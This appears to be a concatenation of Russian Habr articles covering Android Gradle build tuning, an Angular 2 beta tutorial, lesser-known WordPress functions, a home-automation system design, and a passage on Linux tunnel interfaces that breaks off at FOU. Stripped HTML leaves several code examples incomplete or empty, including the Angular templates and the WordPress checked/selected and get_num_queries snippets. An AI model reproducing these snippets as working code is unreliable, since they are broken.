К счастью, в **версии 1.3.30** Kotlin добавлена поддержка пошаговой обработки аннотаций.
<https://kotlinlang.org/docs/reference/kapt.html>
#### (Инкрементная обработка аннотаций (с 1.3.30)
Начиная с версии 1.3.30, `kapt` поддерживает инкрементную обработку аннотаций в качестве экспериментальной функции. В настоящее время обработка аннотаций может выполняться инкрементально, только если все используемые процессоры аннотаций являются инкрементными.
Чтобы включить инкрементную обработку аннотаций, добавьте эту строку в файл `gradle.properties`:
`kapt.incremental.apt=true`
Обратите внимание, что инкрементная обработка аннотаций требует, чтобы [инкрементная компиляция](https://kotlinlang.org/docs/reference/using-gradle.html#incremental-compilation) также была включена.)
Итак, начнем:
1. 1. Измените конфигурацию **annotationProcessor** на **kapt**
2. 2. Включите экспериментальный флаг **инкрементной обработки аннотации**
Откройте файл `**build.gradle**` уровня вашего модуля и добавьте следующую строку в начало файла:
`apply plugin: 'kotlin-kapt'`
Затем измените все конфигурации annotationProcessor в разделе зависимостей для использования kapt. Например:
`//До
annotationProcessor 'com.google.dagger:dagger-compiler:2.9'
//После
kapt 'com.google.dagger:dagger-compiler:2.9'`
Теперь откройте файл **gradle.properties**, расположенный в корне вашего проекта, и добавьте следующую строку:
`kapt.incremental.apt=true`
Давайте снова запустим сборку.
Хорошо, похоже, мы еще немного продвинулись.
Шаг № 3: свойства Gradle
------------------------
Мы на последнем этапе. Помните подвох, с которым мы столкнулись при обновлении версии плагина Gradle? Оказывается, более новые версии Gradle уменьшают размер используемой памяти до 512 МБ. Это сделано для того, чтобы слабые машины не расходовали слишком много памяти. У меня компьютер с 16 гигабайтами оперативной памяти, поэтому я могу позволить себе скормить около 2-3 гигов демону Gradle, но ваши цифры могут отличаться.
Откройте файл **gradle.properties**, расположенный в корне вашего проекта, и добавьте следующую строку. Не забудьте выбрать размер в соответствии с вашими требованиями и спецификацией компьютера.
`org.gradle.jvmargs=-Xmx3072m -XX:MaxPermSize=512m -XX:+HeapDumpOnOutOfMemoryError -Dfile.encoding=UTF-8`
Пока мы это делаем, давайте также включим параллельные сборки и настройку по требованию в свойствах.
Вот как выглядит мой окончательный вариант файла `**gradle.properties**`:
```
org.gradle.jvmargs=-Xmx3072m -XX:MaxPermSize=512m -XX:+HeapDumpOnOutOfMemoryError -Dfile.encoding=UTF-8
org.gradle.parallel=true
org.gradle.configureondemand=true
kapt.incremental.apt=true
```
* `org.gradle.parallel` — этот флаг позволяет Gradle собирать модули внутри проекта параллельно, а не последовательно. Это полезно только для многомодульных проектов.
* `org.gradle.configureondemand` — этот флаг настраивает только те модули, которые необходимы для проекта, а не собирает их все.
Сделав это, давайте посмотрим, какие у нас теперь показатели скорости сборки:
Вот так!
Заключительные замечания
------------------------
Это ни в коем случае не обширный охват всех способов оптимизации скорости сборки. Есть множество других вещей, которые я не рассмотрел в этом посте, таких как использование minSdk 21 при использовании MultiDex, предварительная индексация библиотек, отключение сжатия PNG и т. д., — это всего лишь некоторые из них.
Но большинство из этих конфигураций требуют более глубокого понимания системы сборки Android и опыта работы с крупными многомодульными проектами (где преимущества наиболее очевидны). Шаги, которые я упомянул выше, легко внедряются в проект даже джуниор разработчиками и имеют значительные выгоды. Я надеюсь, что это поможет вам увеличить скорость сборки!
Увидимся в следующий раз, мир вам! | https://habr.com/ru/post/457374/ | null | ru | null |
# Angular 2 Beta, обучающий курс «Тур героев» часть 1
[Часть 1](https://habrahabr.ru/post/281190/) [Часть 2](https://habrahabr.ru/post/281727/) [Часть 3](https://habrahabr.ru/post/282634/) [Часть 4](https://habrahabr.ru/post/283556/)
Вступление
----------
*Эта статья основана на [документации](https://angular.io/docs/ts/latest/guide/) Angular 2 и представляет собой перевод двух статей — [Вступление](https://angular.io/docs/ts/latest/tutorial/) и [Редактор героя](https://angular.io/docs/ts/latest/tutorial/toh-pt1.html).*
**Используется Angular 2 release is beta.12.**
### Тур героев: обзор
Наш великий план — построить приложение для кадрового агентства героев. Даже героям нужна работа!
Конечно, в этом учебнике будет рассмотрены только основные понятия. То, что мы создаем будем иметь много функций, которые мы ожидаем найти в полномасштабных, ориентированных на данные приложениях: получение и отображение списка героев, редактирование информации о выделенном герое, навигация между различными представления данных о героях.
Тур героев покрывают основы Angular2. Мы будем использовать встроенные директивы для того чтобы показать/скрыть элементы и отобразить списки данных героев. Мы создадим компонент для отображения данных героя и другой компонент для отображения множества героев. Мы будем использовать одностороннюю привязку данных для тех данных, которые предназначены только для чтения. Мы добавим редактируемые поля для обновления модели используя двустороннее связывание данных. Мы будем связывать методы компонентов с пользовательскими событиями, такими как нажатия клавиш и щелчки мыши. Мы научимся, выбирать героя из главного списка и редактировать этого героя в представлении деталей. Мы будем форматировать данные, используя каналы. Мы создадим общую службу, чтобы собрать наших героев. И мы будем использовать маршрутизацию для навигации между различными видами и их компонентами.
Мы узнаем Angular2 достаточно для того, чтобы начать работу и получить уверенность, что Angular2 может все, что нам необходимо. Многое мы будем рассматривать поверхностно, но будут присутствовать ссылки для углубленного изучения.
[Запустить](https://angular.io/resources/live-examples/tutorial/ts/plnkr.html) пример приложения.
### Конец игры
Вот наглядное представление о том, к чему мы придем в этом туре. Начнем с вида "Обзорная панель" (Dashboard) и наших самых героических героев:
Над панелью находятся две ссылки: Dashboard и Heroes. Мы могли бы перемещаться между представлениями героев, нажимая на эти ссылки. Но мы нажмем на героя с именем "Magenta", и маршрутизатор отобразит нам вид "Детали героя", где мы можем изменить имя героя.
Нажатие на кнопку "Назад" вернет нас к виду "Dashboard". Ссылки вверху могут привести нас к одному из основных видов. Нажмем на "Heroes" и приложение перейдет к списку героев.
Если мы щелкнем другого героя и внизу появится мини-детальная отразит наш выбор. Нажатие на кнопку "View Details" отобразит уже знакомый вид, где мы можем редактировать детали нашего выбранного героя. Следующая диаграмма отражает все возможные варианты навигации.
Вот наше приложение в действии:
### Далее
Мы будем создавать этот тур героев вместе, шаг за шагом. Мы будем обосновывать каждый шаг на основе тех требований, что мы встречали в бесчисленных приложениях. Всему есть причина. И мы встретим многие из основ Angular2 на этом пути.
Давайте начнем!
Часть 1 — Редактор героя
------------------------
### Давным-давно
Каждая история начинается где-нибудь. Наша история начинается там, где заканчивается [QuickStart](https://angular.io/docs/ts/latest/quickstart.html).
Создайте папку с именем `angular2-tour-of-heroes` и выполните шаги из [QuickStart](https://angular.io/docs/ts/latest/quickstart.html), которые обеспечивают необходимые условия, структуру папок и файлов для нашего тура героев.
> Но вместо этого вы можете [скачать готовые исходные файлы QuickStart](https://github.com/angular/quickstart/blob/master/README.md).
У нас должна быть следующая структура:
```
angular2-tour-of-heroes
app
app.component.ts
main.ts
node_modules ...
typings ...
index.html
package.json
styles.css
tsconfig.json
typings.json
```
#### Поддержка преобразования кода и выполнения приложения
Мы хотим запустить компилятор TypeScript, чтобы при этом он отслеживал изменения в файлах и сразу осуществлял компиляцию, и запустить наш web-сервер. Мы сделаем это, набрав:
```
npm start
```
Эта команда запустит компилятор в режиме наблюдения, запустит сервер, запустит приложение в браузере и будет отслеживать изменения, пока мы будем создавать тур героев.
### Покажем нашего героя
Мы хотим отобразить данные героя в нашем приложении.
Давайте добавим два свойства к нашему `AppComponent`, свойство `title` для имени приложения и свойства `hero` для героя с именем "Windstorm".
**app.component.ts (AppComponent class)**
```
export class AppComponent {
public title = 'Tour of Heroes';
public hero = 'Windstorm';
}
```
Теперь мы обновляем шаблон в аннотации `@Component`, добавив связывание данных для этих новых свойств.
```
template: '{{title}}
=========
{{hero}} details!
-----------------
'
```
Браузер должен обновить страницу и отобразить наше название и героя.
Двойные фигурные скобки говорят нашему приложению, что нужно прочитать название и свойства героя из компонента и отобразить их. Это "интерполяционная" форма односторонней привязки данных.
> Подробнее об интерполяции в главе [Отображение данных](https://angular.io/docs/ts/latest/guide/displaying-data.html)
### Объект героя
В данный момент наш герой — это просто имя. Наш герой нуждается в большем количестве свойств. Давайте преобразуем героя из строки в класс.
Создайте класс героя со свойствами `id` и `name`. Сейчас разместим это в верхней части файла `app.component.ts`, чуть ниже оператора импорта.
**app.component.ts (Hero class)**
```
export class Hero {
id: number;
name: string;
}
```
Теперь, когда у нас есть класс героя, давайте отрефакторим свойство `hero` вашего компонента, чтобы он имел тип `Hero`. Затем инициализируем его с id 1 и name "Windstorm".
**app.component.ts (Hero property)**
```
public hero: Hero = {
id: 1,
name: 'Windstorm'
};
```
Так как мы изменили героя из строки в объект, мы обновляем связывание в шаблоне, чтобы ссылаться на свойство героя `name`.
```
template: '{{title}}
=========
{{hero.name}} details!
----------------------
'
```
Браузер обновляется и продолжает отображать имя нашего героя.
### Добавим еще HTML
Отображение имени это хорошо, но мы хотим увидеть все свойства нашего героя. Мы добавим один для нашего свойства `id` и другой для свойства `name` героя.
```
template: '{{title}}
=========
{{hero.name}} details!
----------------------
id: {{hero.id}}name: {{hero.name}}'
```
Ой-ой, наша строка шаблона становится длинной. Нужно позаботиться о том, чтобы избежать риска сделать опечатку в шаблоне.
**app.component.ts (AppComponent's template)**
```
template:`
{{title}}
=========
{{hero.name}} details!
----------------------
id: {{hero.id}}
name: {{hero.name}}
`
```
### Редактирование нашего героя
Мы хотим иметь возможность редактировать имя героя в текстовом поле.
Изменим имя героя — с на и , как показано ниже:
**app.component.ts (input element)**
```
template:`
{{title}}
=========
{{hero.name}} details!
----------------------
id: {{hero.id}}
name:
`
```
Мы видим в браузере, что имя героя появляется в текстовом поле . Но что-то здесь не так. Когда мы меняем имя, мы замечаем, что наше изменение не отражается в . Мы не получим желаемого поведения, используя одностороннее связывание к .
### Двустороннее связывание
Мы намерены вывести имя героя в , изменить его и увидеть эти изменения везде, где они связаны с именем героя. Короче говоря, мы хотим, чтобы связывание данных было двухсторонним.
Давайте обновим шаблон для использования встроенной директивы `ngModel` для двухстороннего связывания.
> Узнать больше о `ngModel` можно в главах [Формы](https://angular.io/docs/ts/latest/guide/forms.html#ngModel) и [Синтаксис шаблонов](https://angular.io/docs/ts/latest/guide/template-syntax.html#ngModel).
Замените на следующий HTML
Браузер обновляется. Мы снова видим нашего героя. Мы можем изменить имя героя и увидеть, что изменения сразу же отражаются в .
### Путь, по которому мы прошли
Давайте подведем итоги того, что мы сделали.
* Наш Тур героев использует двойные фигурные скобки интерполяции (форма односторонней привязки данных), чтобы отобразить название приложения и свойства объекта `Hero`.
* Мы написали шаблон из нескольких строк, используя строки шаблонов ES2015, чтобы сделать наш шаблон более читабельным.
* Мы можем одновременно отобразить и изменить имя героя добавлением двухстороннего связывания данных к элементу , используя встроенную в `ngModel` директиву.
* Директива `ngModel` также передает изменения любой другой связке hero.name.
Вот полное содержимое `app.component.ts`, на текущий момент:
**app.component.ts**
```
import {Component} from 'angular2/core';
export class Hero {
id: number;
name: string;
}
@Component({
selector: 'my-app',
template:`
{{title}}
=========
{{hero.name}} details!
----------------------
id: {{hero.id}}
name:
`
})
export class AppComponent {
public title = 'Tour of Heroes';
public hero: Hero = {
id: 1,
name: 'Windstorm'
};
}
```
### Предстоящий путь
Наш Тур героев отображает только одного героя, в то время как мы хотим отображать список героев. Мы также хотим позволить пользователю выбрать героя и отобразить его данные. Мы узнаем больше о том, как получать списки, привязать их к шаблону, и позволить пользователю делать в нем выбор в [следующей главе](https://habrahabr.ru/post/281727/).
### Результат первой части:
[Запустить приложение, часть 1](https://angular.io/resources/live-examples/toh-1/ts/plnkr.html) | https://habr.com/ru/post/281190/ | null | ru | null |
# Малоизвестные функции в WordPress
Случалось ли с вами, что во время разбора кода стороннего плагина или темы, вы находили довольно полезную стандартную функцию, о которой раньше не знали? В такие моменты любой разработчик ощущает чувство собственной ничтожности, вспоминая какие велосипеды он городил в предыдущих проектах.
Дабы уменьшить количество расстройств, я решил описать несколько малоизвестных, но весьма полезных функций:
**`make_clickable`**
Находит в тексте ссылки и делает их кликабельными.
*Пример:*
```
$string = "This is a long text that contains some links like http://www.wordpress.org and http://www.wordpress.com .";
echo make_clickable( $string );
```
**`popuplinks`**
Добавляет `target='_blank' rel='external'` всем ссылкам в тексте.
*Пример:*
```
$string = "This is a long text that contains some links like <http://www.wordpress.org> and <http://www.wordpress.com> .";
echo popuplinks( $string );
```
**`wp_list_pluck`**
Достает определенные поля из коллекции.
*Пример:*
```
$posts = get_posts();
$ids = wp_list_pluck( $posts, 'ID' ); // [1, 2, 3, ...]
```
**`antispambot`**
Преобразовывает адреса электронной почты в символы HTML, для защиты от спам-ботов.
*Пример:*
```
$email = 'example@email.com';
echo '[' . antispambot( $email ) . '](mailto:' . antispambot( $email ) . ')';
```
**`checked / selected`**
Добавляет атрибут checked (selected) если первый параметр равен второму.
*Пример:*
```
/>
>1
>2
>3
```
**`human_time_diff`**
Представляет разницу во времени в понятном для человека виде.
*Пример:*
```
$published = get_the_time( 'U' );
echo human_time_diff( $published ); // 2 days
```
**`wp_send_json_success / wp_send_json_error`**
Выводит данные в JSON формате для Ajax запросов.
*Пример:*
```
if( $success ) {
$result = array(
'message' => 'Saved',
'ID' => 1
);
wp_send_json_success( $result ); // { "success": true, "data": { "message": "Saved", "ID": 1 } }
}
else {
wp_send_json_error(); // { "success": false }
}
```
**`wp_remote_get / wp_remote_post`**
Получает данные со стороннего web ресурса.
*Пример:*
```
$response = wp_remote_get( "https://api.twitter.com/1.1/search/tweets.json?q=%23WordPress", array( 'timeout' => 10 ) );
$tweets = wp_remote_retrieve_body( $response );
```
**`wp_is_mobile`**
Определяет устройство пользователя.
*Пример:*
```
if ( wp_is_mobile() ) {
get_footer( 'mobile' );
}
else {
get_footer();
}
```
**`wp_oembed_get`**
Конвертирует ссылку на медиа ресурс в код проигрывателя.
*Пример:*
```
$youtube_url = 'https://www.youtube.com/watch?v=Lcvh0DgytH8';
$embed_code = wp_oembed_get( $youtube_url, array( 'width' => 800 ) );
```
**`wp_tempnam`**
Создает временный файл с уникальным именем.
*Пример:*
```
wp_tempnam( 'cache.log', get_temp_dir() );
```
**`zeroise`**
Дополняет число нулями до определенной длины.
*Пример:*
```
$tickets_count = 8;
echo zeroise( $tickets_count, 3 ); // 008
```
**`capital_P_dangit`**
Исправляет распространенную ошибку в названии бренда WordPress.
*Пример:*
```
$string = "I Love Wordpress";
echo capital_P_dangit( $string ); // I Love WordPress
```
**`get_num_queries`**
Показывает общее количество SQL-запросов к базе данных на странице.
*Пример:*
```
```
**`wp_text_diff`**
Находит различия в тексте и отображает их в удобном для сравнения виде.
*Пример:*
```
$left_string = 'This is the original string';
$right_string = 'This is the revised string';
echo wp_text_diff( $left_string, $right_string );
```
**`submit_button`**
Генерирует код кнопки.
*Пример:*
```
php submit_button( __( 'Save Changes' ) ); ?
```
enjoy :) | https://habr.com/ru/post/233089/ | null | ru | null |
# Умный дом, как я до такого докатился. Часть 2-я
В [первой](http://habrahabr.ru/post/158911/) части я рассказал о причинах, побудивших меня заняться построением своего “умного дома”, и об используемом “железе”.
Но “железо”, само по себе, умным быть не может, главное это “софт”. Вот об этой стороне своего проекта я и хочу рассказать в этой части. Банальное управление освещением с пульта, конечно, выглядит круто в глазах непосвященной публики, но “ума” тут никакого.
Так что же такого умного можно сделать? И, главное, как?
Как я уже говорил ранее, к системе у меня подключено:
* Все освещение квартиры
* Теплый пол
* Вентиляция
* Видеонаблюдение
* Климатические датчики
* Датчики движения
* Датчики открывания дверей и окон
Для начала приведу неполный список того, что умеет моя система (и примеры, для чего это используется):
* Банальное управление всем, что подключено, с веба/смартфона/планшета :)
* Мониторинг происходящего в квартире и вокруг из любой точки мира, где есть Интернет (так, мои дома, спят дневной сон, не буду пока звонить будить; сработала сигнализация на мотоцикле у подъезда — подключился к камере, убедился что все нормально и т. д.)
* Включение освещения в коридоре когда кто-то пришел домой и при этом на улице темно, а дома никого не было
* Отключение света во всей квартире и перевод теплого пола в экономичный режим когда никого нет
* Управление освещением по расписанию (имитация присутствия)
* Сценарное управление освещением одним касанием: погасить все (ребенок просыпается, а просыпаться не надо, 3 часа ночи, родители еще бродят ;)), погасить все кроме света в коридоре (выношу ребенка из ванной со словами, смотри все уже спят и тебе пора) и т. д.
* Управление теплым полом по расписанию и температуре
* Управление вентиляцией по расписанию и температуре
* Отключение вентиляции при открытых окнах (для сохранения ресурса фильтров)
* Управление видеозаписью по различным событиям (не закрытая на замок входная дверь, движение и т. д.)
* Управляемые оповещения по событиям (кто-то пришел, все ушли, входная дверь не заперта 15 минут и т. д.)
* ...
Самой сложной задачей, на первый взгляд, казалось решение задачи: “Есть ли кто дома?”
Ведь если есть, но спят, то никакой датчик движения ничего не определит, а включать свет тогда при входе нежелательно, так же как отключать отопление. Долго я ломал над этим голову, начиная с вариантов подсчета входящих/выходящих и заканчивая определением всех перемещений по квартире (конечная точка — дверь, значит никого, кровать, значит спят).
Но как говориться, все гениальное — просто, обратил внимание на закономерность, вошедшую в привычку:
* Если кто-то приходит домой, то всегда закрывает щеколду
* Если кто-то уходит не последний, то закрывает один замок (что бы остальным было удобнее открывать
* И только если все ушли, то закрываем все замки и при этом никак нельзя закрыть щеколду
Поставил датчики на все замки и вуаля, за полтора года ни одного ложного срабатывания, 100% определение присутствия дома кого-либо.
**Архитектура системы**
В системе есть следующие сущности:
* Сенсор — то с чего можно считывать данные
* Триггер — условие зависящее от сенсора или времени, управляющее контролами
* Контрол — то чем можно управлять
* Мессенджер — по сути тоже, что и контрол, только он посылает сообщение
Контрол (мессенджер) связан с несколькими триггерами, которые, в свою очередь, срабатывают по событиям от сенсоров.
**Сенсоры** делятся на пять групп:
* Сенсор-значение: возвращает абсолютное значение, например температуру
* Сенсор-ключ: возвращает время с последнего срабатывания и состояние, например датчик движения
* Сенсор-команда: возвращает значение произвольной команды шелла linux, например температуру диска
* Макросенсор: сочетание нескольких сенсоров, например, сенсор NOBODY\_HOME определен как: `min(abs(FRONTDOOR_KEY),
-FRONTDOOR_LATCH_KEY,
FRONTDOOR_LOCK_LOWER_KEY,
FRONTDOOR_LOCK_UPPER_KEY)`
Что в переводе на русский язык значит: никого нет дома с того момента когда была закрыта дверь (FRONTDOOR\_KEY), отрыта щеколда (FRONTDOOR\_LATCH\_KEY) и закрыты замки (FRONTDOOR\_LOCK\_LOWER\_KEY, FRONTDOOR\_LOCK\_UPPER\_KEY)
* Сенсор-контрол: возвращает время с момента последнего изменения контрола и его состояние
**Триггеры** умеют делать следующее:
* on — Включать контрол при наступлении условия
* off — Выключать контрол при наступлении условия
* switch on — включать при соблюдении условия и выключать при несоблюдении
* switch off — выключать при соблюдении условия и включать при несоблюдении
**Контролы** делятся на три группы:
* 1-wire контрол — вкл/выкл устройство по шине 1-wire
* cmd контрол — выполнить команду шелла linux
* Кастомный контрол — все что душе угодно, но надо лезть в код
Разберем эту схему на примере упрощенного варианта управления теплым полом.
К примеру, у нас есть следующие задачи:
* Поддерживать температуру 34 градуса
* Отключаться на ночь
* Выключаться когда никого нет
* Включаться когда кто-нибудь есть дома
Изобразим схему взаимодействия на диаграмме:
* Trigger 1, означает, что когда температура падает ниже 34 пол нужно включить, иначе выключить
* Trigger 2, означает, что с часу ночи, в течении 8 часов пол должен быть выключен
* Trigger 3, означает, что с когда никого нет дома больше 1 секунды нужно пол выключить
* Trigger 4, означает, что с когда кто-то есть дома больше 1 секунды нужно пол включить
Вот такая вот нехитрая архитектура позволяет задавать большинство необходимых мне действий. Есть, конечно, и более сложные ситуации. В таких случаях я просто пишу кастомный контрол. Например, для включения/выключения вентиляции нужна более сложная логика чем просто включить/выключить канальный вентилятор, нужно еще по определенным правилам заслонку перекрывать.
**Стороние проекты**
Вся моя система написана на Python и крутится на сервере под управлением Ubuntu. В качестве БД используется MySQL. Для подключение к 1-wire используется библиотека [owpython](http://owfs.sourceforge.net/owpython.html).
Но разумеется, писать все самому смысла нет, чаще легче взять готовые решения.
Для видеонаблюдения я не стал изобретать велосипедов и воспользовался OpenSource системой [ZoneMinder](http://www.zoneminder.com/), тем более, что она имеет весьма неплохой API позволяющий, к примеру, включать/выключать запись по нужным мне правилам. Или наоборот, повесить свою обработку событий при появлении движения в охраняемой зоне. Так же она может отдавать изображение с камеры.
**Пользовательский интерфейс**
У системы есть три основных интерфейса управления:
* Классический (выключатели на стенах)
* Нативное Android приложение
* Вебинтерфейс
С точки зрения системы **классический** выключатель — это просто сенсор-ключ, который с помощью триггеров привязывается к любым контролам. При желании можно привязать, например, выключатель на кухне к свету в детской (чем я обычно занимаюсь на 1-е апреля)
Поскольку, во время написания **Android** приложения, я был увлечен сериалом Star Trek, то и тему оформления сделал под стиль терминалов из этой культовой ленты.
Терминал имеет главное окно, на котором отображается общее состояние системы:
Слева — общее состояние.
Посередине — план квартиры, с отображением состояния основных контролов и сенсоров
Вверху — общая для всего приложения информационная панель.
Справа — основные кнопки (выключить все, монитор уличных датчиков, настройки)
Окна для каждой из комнат. Собственно, в каждой комнате, где висит планшет, открыто окно именно этой комнаты и включение/выключение освещения осуществляется одним касанием по довольно большой кнопке, что совершенно не доставляет неудобств
Так же в каждой комнате можно посмотреть различную информацию по датчикам, например, график температуры
Я не дизайнер и не ~~верстальщик~~ фронтендер поэтому **вебинтерфейс** у меня простой, корявый и минималистский.
Верхние блоки — мониторинг
Слева — управление контролами и триггерами
В центре — видеонаблюдение
Справа — справочная информация не связанная непосредственно с «умным домом».
Изначально предполагалось в качестве основного интерфейса в местах обитания детей использовать классические выключатели на стенах, а там где взрослые, вместо выключателей монтировать Android планшеты, но жизнь, похоже, внесет свои коррективы. Так, оказалось, что детям гораздо интереснее по планшету тыкать, а жене больше по душе обычные кнопки.
UP:
Продолжение тут [Умный дом, как я до такого докатился. Часть 3-я](http://habrahabr.ru/post/198842/) | https://habr.com/ru/post/167797/ | null | ru | null |
# Знакомство с виртуальными интерфейсами Linux: туннели
Linux поддерживает множество видов туннелей. Это запутывает новичков, которым бывает сложно разобраться в различиях технологий, и понять то, каким туннелем лучше воспользоваться в конкретной ситуации. В материале, перевод которого мы сегодня публикуем, будет дан краткий обзор часто используемых туннельных интерфейсов ядра Linux. Сильно углубляться в эту тему мы не будем, рассмотрев лишь общие особенности туннелей и варианты их использования в Linux.
[](https://habr.com/ru/company/ruvds/blog/457386/)
Автор этого материала полагает, что то, о чём пойдёт здесь речь, может быть интересно всем, кто имеет какое-то отношение к управлению компьютерными сетями. Список туннельных интерфейсов, а также справочные сведения о конкретной конфигурации можно получить с помощью iproute2-команды `ip link help`.
Здесь будут рассмотрены следующие часто используемые интерфейсы: IPIP, SIT, ip6tnl, VTI и VTI6, GRE и GRETAP, GRE6 и GRE6TAP, FOU, GUE, GENEVE, ERSPAN и IP6ERSPAN.
Прочитав эту статью, вы узнаете об особенностях этих интерфейсов и выясните различия между ними. Вы научитесь их создавать и узнаете о ситуациях, в которых их лучше всего использовать.
IPIP
----
Туннель IPIP, как можно понять из его названия — это туннель, работающий в режиме «IP over IP» ([RFC 2003](https://tools.ietf.org/html/rfc2003)). Заголовок пакета туннеля IPIP выглядит так, как показано ниже.
*Заголовок пакета туннеля IPIP*
Такие туннели обычно используются для соединения двух внутренних IPv4-подсетей через общедоступную IPv4-сеть (интернет). Применение IPIP создаёт минимальную дополнительную нагрузку на систему, но по такому туннелю можно выполнять только однонаправленную передачу данных (unicast). То есть, построив подобный туннель, нельзя будет использовать его для групповой передачи данных (multicast).
IPIP-туннели поддерживают режимы «IP over IP» и «MPLS over IP».
Обратите внимание на то, что когда загружен модуль `ipip`, или когда впервые создано IPIP-устройство, ядро Linux создаст в каждом пространстве имён устройство по умолчанию `tunl0` с атрибутами `local=any` и `remote=any`. Получая IPIP-пакеты, ядро, в определённых случаях, будет перенаправлять их на `tunl0` как на устройство, используемое по умолчанию. Это происходит тогда, когда ядро не может найти другого устройства, атрибуты `local/remote` которого более точно соответствуют адресам источника и приёмника пакетов.
Вот как создать IPIP-туннель:
На сервере A:
```
# ip link add name ipip0 type ipip local LOCAL_IPv4_ADDR remote REMOTE_IPv4_ADDR
# ip link set ipip0 up
# ip addr add INTERNAL_IPV4_ADDR/24 dev ipip0
Add a remote internal subnet route if the endpoints don't belong to the same subnet
# ip route add REMOTE_INTERNAL_SUBNET/24 dev ipip0
```
На сервере B:
```
# ip link add name ipip0 type ipip local LOCAL_IPv4_ADDR remote REMOTE_IPv4_ADDR
# ip link set ipip0 up
# ip addr add INTERNAL_IPV4_ADDR/24 dev ipip0
# ip route add REMOTE_INTERNAL_SUBNET/24 dev ipip0
```
Обратите внимание на то, что при использовании этой конфигурации её нужно привести в соответствие с реальными данными. В частности, `LOCAL_IPv4_ADDR`, `REMOTE_IPv4_ADDR`, `INTERNAL_IPV4_ADDR` и `REMOTE_INTERNAL_SUBNET` нужно заменить на адреса, используемые в вашем окружении. То же самое справедливо и для других примеров конфигураций, которые мы будем рассматривать далее.
SIT
---
SIT (Simple Internet Transition) — это технология создания туннелей, главной целью существования которой является соединение изолированных IPv6-сетей через интернет с использованием протокола IPv4.
Изначально технология SIT могла работать лишь в режиме туннелирования «IPv6 over IPv4». Однако за годы развития она приобрела поддержку ещё нескольких режимов. В частности, это `ipip` (то же самое было с IPIP-туннелем), `ip6ip`, `mplsip` и `any`.
Режим `any` используется для работы с IP- и IPv6-трафиком, что может оказаться полезным в некоторых ситуациях. SIT-туннели также поддерживают [ISATAP](https://www.ietf.org/rfc/rfc4214.txt). Вот [пример](http://www.litech.org/isatap) использования этой технологии.
Заголовок SIT-пакета выглядит так, как показано ниже.
*Заголовок пакета туннеля SIT*
Когда загружается модуль `sit`, ядро Linux создаёт устройство по умолчанию `sit0`.
Вот как создать SIT-туннель (эти действия надо выполнить на серверах A и B):
```
# ip link add name sit1 type sit local LOCAL_IPv4_ADDR remote REMOTE_IPv4_ADDR mode any
# ip link set sit1 up
# ip addr add INTERNAL_IPV4_ADDR/24 dev sit1
```
Ip6tnl
------
Интерфейс ip6tnl работает в режиме «IPv4/IPv6 over IPv6». Он похож на IPv6-версию туннеля SIT. Вот как выглядит заголовок пакета ip6tnl.
*Заголовок пакета туннеля ip6tnl*
Туннели ip6tnl поддерживают режимы `ip6ip6`, `ipip6` и `any`. Режим `ipip6` представлен схемой «IPv4 over IPv6», режим `ip6ip6` — это «IPv6 over IPv6». Режим `any` поддерживает обе схемы.
Когда загружается модуль `ip6tnl`, ядро Linux создаёт устройство по умолчанию с именем `ip6tnl0`.
Вот как создать туннель ip6tnl:
```
# ip link add name ipip6 type ip6tnl local LOCAL_IPv6_ADDR remote REMOTE_IPv6_ADDR mode any
```
VTI и VTI6
----------
Интерфейс VTI (Virtual Tunnel Interface) в Linux похож на интерфейс VTI Cisco и на Juniper-реализацию защищённого туннеля (st.xx).
Этот драйвер туннелирования реализует IP-инкапсуляцию, что может быть использовано с xfrm для создания защищённых туннелей и для последующего использования поверх таких туннелей маршрутизации уровня ядра.
В целом, VTI-туннели работают почти так же как туннели IPIP или SIT. Исключением является то, что они задействуют fwmark и инкапсуляцию/декапсуляцию IPsec.
VTI6 — это IPv6-эквивалент VTI.
Вот как создать VTI-туннель:
```
# ip link add name vti1 type vti key VTI_KEY local LOCAL_IPv4_ADDR remote REMOTE_IPv4_ADDR
# ip link set vti1 up
# ip addr add LOCAL_VIRTUAL_ADDR/24 dev vti1
# ip xfrm state add src LOCAL_IPv4_ADDR dst REMOTE_IPv4_ADDR spi SPI PROTO ALGR mode tunnel
# ip xfrm state add src REMOTE_IPv4_ADDR dst LOCAL_IPv4_ADDR spi SPI PROTO ALGR mode tunnel
# ip xfrm policy add dir in tmpl src REMOTE_IPv4_ADDR dst LOCAL_IPv4_ADDR PROTO mode tunnel mark VTI_KEY
# ip xfrm policy add dir out tmpl src LOCAL_IPv4_ADDR dst REMOTE_IPv4_ADDR PROTO mode tunnel mark VTI_KEY
```
Кроме того, конфигурировать IPsec можно с помощью [libreswan](https://libreswan.org/wiki/Route-based_VPN_using_VTI) или [strongSwan](https://wiki.strongswan.org/projects/strongswan/wiki/RouteBasedVPN).
GRE и GRETAP
------------
Технология GRE (Generic Routing Encapsulation) описана в [RFC 2784](https://tools.ietf.org/html/rfc2784). При GRE-туннелировании между заголовками внутреннего и внешнего IP-пакета добавляется дополнительный заголовок GRE.
Теоретически, GRE может инкапсулировать пакеты любого протокола 3 уровня с допустимым Ethernet-типом. Это отличает технологию GRE от технологии IPIP, которая поддерживает лишь инкапсуляцию IP-пакетов. Вот как выглядит заголовок пакета при использовании технологии GRE.
*Заголовок пакета туннеля GRE*
Обратите внимание на то, что туннели GRE позволяют выполнять групповую передачу данных и поддерживают IPv6.
При загрузке модуля `gre` ядро Linux создаёт устройство по умолчанию `gre0`.
Вот как создать туннель GRE:
```
# ip link add name gre1 type gre local LOCAL_IPv4_ADDR remote REMOTE_IPv4_ADDR [seq] key KEY
```
В то время как туннели GRE работают на 3 уровне модели OSI, туннели GRETAP работают на 2 уровне OSI. Это означает, что одними из внутренних заголовков соответствующих пакетов являются Ethernet-заголовки.
*Заголовок пакета туннеля GRETAP*
Вот как создать туннель GRETAP:
```
# ip link add name gretap1 type gretap local LOCAL_IPv4_ADDR remote REMOTE_IPv4_ADDR
```
GRE6 и GRE6TAP
--------------
GRE6 — это IPv6-эквивалент GRE. Туннели GRE6 позволяют инкапсулировать любые протоколы 3 уровня в IPv6. Вот как выглядит заголовок пакета GRE6.
*Заголовок пакета туннеля GRE6*
В туннелях GRE6TAP, как и в туннелях GRETAP, среди внутренних заголовков пакета есть и Ethernet-заголовки.
*Заголовок пакета туннеля GRE6TAP*
Вот как создать туннель GRE:
```
# ip link add name gre1 type gre6 local LOCAL_IPv6_ADDR remote REMOTE_IPv6_ADDR
# ip link add name gretap1 type gretap6 local LOCAL_IPv6_ADDR remote REMOTE_IPv6_ADDR
```
FOU
---
